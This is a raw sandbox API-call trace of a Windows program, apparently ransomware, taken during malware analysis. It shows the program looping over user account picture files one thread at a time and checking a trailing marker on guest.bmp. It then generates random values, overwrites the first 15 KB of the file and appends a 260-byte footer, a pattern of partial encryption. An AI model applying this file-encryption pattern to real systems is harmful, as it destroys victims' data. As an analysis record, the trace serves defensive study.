returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" [0097.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c0 [0097.275] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1 [0097.275] wcscmp (_String1="usertile35.bmp", _String2=".") returned 1 [0097.276] wcscmp (_String1="usertile35.bmp", _String2="..") returned 1 [0097.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce12520 [0097.276] wcscpy (in: _Dest=0x1ce12520, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.276] wcscat (in: _Dest=0x1ce12520, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.276] wcscat (in: _Dest=0x1ce12520, _Source="usertile35.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" [0097.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c4 [0097.276] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1 [0097.276] wcscmp (_String1="usertile36.bmp", _String2=".") returned 1 [0097.276] wcscmp (_String1="usertile36.bmp", _String2="..") returned 1 [0097.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce125d0 [0097.276] wcscpy (in: _Dest=0x1ce125d0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.276] wcscat (in: _Dest=0x1ce125d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.276] wcscat (in: _Dest=0x1ce125d0, _Source="usertile36.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" [0097.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce125d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c8 [0097.277] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1 [0097.277] wcscmp (_String1="usertile37.bmp", _String2=".") returned 1 [0097.277] wcscmp (_String1="usertile37.bmp", _String2="..") returned 1 [0097.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce12680 [0097.277] wcscpy (in: _Dest=0x1ce12680, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.277] wcscat (in: _Dest=0x1ce12680, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.277] wcscat (in: _Dest=0x1ce12680, _Source="usertile37.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" [0097.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12cc [0097.278] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1 [0097.278] wcscmp (_String1="usertile38.bmp", _String2=".") returned 1 [0097.278] wcscmp (_String1="usertile38.bmp", _String2="..") returned 1 [0097.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce12730 [0097.278] wcscpy (in: _Dest=0x1ce12730, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.278] wcscat (in: _Dest=0x1ce12730, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.278] wcscat (in: _Dest=0x1ce12730, _Source="usertile38.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" [0097.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d0 [0097.279] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1 [0097.279] wcscmp (_String1="usertile39.bmp", _String2=".") returned 1 [0097.279] wcscmp (_String1="usertile39.bmp", _String2="..") returned 1 [0097.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce127e0 [0097.279] wcscpy (in: _Dest=0x1ce127e0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.279] wcscat (in: _Dest=0x1ce127e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.279] wcscat (in: _Dest=0x1ce127e0, _Source="usertile39.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" [0097.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce127e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d4 [0097.280] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1 [0097.280] wcscmp (_String1="usertile40.bmp", _String2=".") returned 1 [0097.280] wcscmp (_String1="usertile40.bmp", _String2="..") returned 1 [0097.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd640b0 [0097.280] wcscpy (in: _Dest=0x1cd640b0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.280] wcscat (in: _Dest=0x1cd640b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.280] wcscat (in: _Dest=0x1cd640b0, _Source="usertile40.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" [0097.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd640b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d8 [0097.282] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1 [0097.282] wcscmp (_String1="usertile41.bmp", _String2=".") returned 1 [0097.282] wcscmp (_String1="usertile41.bmp", _String2="..") returned 1 [0097.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd64160 [0097.282] wcscpy (in: _Dest=0x1cd64160, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.282] wcscat (in: _Dest=0x1cd64160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.282] wcscat (in: _Dest=0x1cd64160, _Source="usertile41.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" [0097.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12dc [0097.283] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1 [0097.283] wcscmp (_String1="usertile42.bmp", _String2=".") returned 1 [0097.283] wcscmp (_String1="usertile42.bmp", _String2="..") returned 1 [0097.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd64210 [0097.283] wcscpy (in: _Dest=0x1cd64210, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.283] wcscat (in: _Dest=0x1cd64210, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.283] wcscat (in: _Dest=0x1cd64210, _Source="usertile42.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" [0097.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e0 [0097.284] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1 [0097.284] wcscmp (_String1="usertile43.bmp", _String2=".") returned 1 [0097.284] wcscmp (_String1="usertile43.bmp", _String2="..") returned 1 [0097.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd642c0 [0097.284] wcscpy (in: _Dest=0x1cd642c0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.284] wcscat (in: _Dest=0x1cd642c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.284] wcscat (in: _Dest=0x1cd642c0, _Source="usertile43.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" [0097.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd642c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e4 [0097.285] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1 [0097.285] wcscmp (_String1="usertile44.bmp", _String2=".") returned 1 [0097.285] wcscmp (_String1="usertile44.bmp", _String2="..") returned 1 [0097.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd64370 [0097.285] wcscpy (in: _Dest=0x1cd64370, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.285] wcscat (in: _Dest=0x1cd64370, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.285] wcscat (in: _Dest=0x1cd64370, _Source="usertile44.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp" [0097.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd64370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e8 [0097.286] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0 [0097.286] FindClose (in: hFindFile=0x1cd868b0 | out: hFindFile=0x1cd868b0) returned 1 [0097.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59620) returned 1 [0097.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d920) returned 1 [0097.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b7f0) returned 1 Thread: id = 458 os_tid = 0x830 [0091.416] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp")) returned 0x20 [0091.417] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", dwFileAttributes=0x20) returned 1 [0091.417] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd98 [0091.417] GetFileSizeEx (in: hFile=0xd98, lpFileSize=0x1f92fe40 | out: lpFileSize=0x1f92fe40*=49208) returned 1 [0091.417] SetFilePointerEx (in: hFile=0xd98, liDistanceToMove=0xc034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.417] ReadFile (in: hFile=0xd98, lpBuffer=0x1f92fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f92fe08, lpOverlapped=0x0 | out: lpBuffer=0x1f92fdc0*, lpNumberOfBytesRead=0x1f92fe08*=0x4, lpOverlapped=0x0) returned 1 [0091.430] SetFilePointerEx (in: hFile=0xd98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76e0 [0091.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0091.430] NtQuerySystemTime (in: CurrentTime=0x1f92fd00 | out: CurrentTime=0x1f92fd00*=132462176972734000) returned 0x0 [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x58954b7b [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x1f27c711 [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x55c6a6ce [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x5055153a [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x227b324 [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x6db4186f [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x7808453b [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x7c10a296 [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x1432e4b7 [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x21ee3276 [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x7bd8731e [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x4531b94b [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x4f5bc564 [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x2dd11370 [0091.430] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x14e4dd96 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x7e86b35 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x2bd6ca9d [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x48f81b17 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x1f8bdc94 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x7c9c9e2f [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x4f34008d [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x393de858 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x47e16fe3 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x3a3ebd91 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x2b3a7723 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x60ed23c2 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x3767f013 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x55c6a6ce [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x5935673b [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x7da7bb12 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x5b528180 [0091.431] RtlRandomEx (in: Seed=0x1f92fcf0 | out: Seed=0x1f92fcf0) returned 0x26bebf74 [0091.438] SetFilePointerEx (in: hFile=0xd98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.438] ReadFile (in: hFile=0xd98, lpBuffer=0x20184990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f92fd60, lpOverlapped=0x0 | out: lpBuffer=0x20184990*, lpNumberOfBytesRead=0x1f92fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0091.470] SetFilePointerEx (in: hFile=0xd98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec10 [0091.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0091.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7890) returned 1 [0091.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019f0f0 [0091.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0091.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced78c0) returned 1 [0091.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0091.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.471] WriteFile (in: hFile=0xd98, lpBuffer=0x2019f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f92fd60, lpOverlapped=0x0 | out: lpBuffer=0x2019f0f0*, lpNumberOfBytesWritten=0x1f92fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0099.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019f0f0) returned 1 [0099.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20184990) returned 1 [0099.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0099.222] SetFilePointerEx (in: hFile=0xd98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0099.222] WriteFile (in: hFile=0xd98, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x1f92fe10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x1f92fe10*=0x104, lpOverlapped=0x0) returned 1 [0101.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0101.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a600) returned 1 [0101.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859580) returned 1 [0101.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3e0) returned 1 